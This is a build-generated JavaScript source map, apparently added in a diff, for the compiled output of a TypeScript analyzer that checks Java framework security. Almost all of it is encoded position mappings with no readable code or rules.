+{"version":3,"file":"framework-security.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/java/security-checks/framework-security.ts"],"names":[],"mappings":"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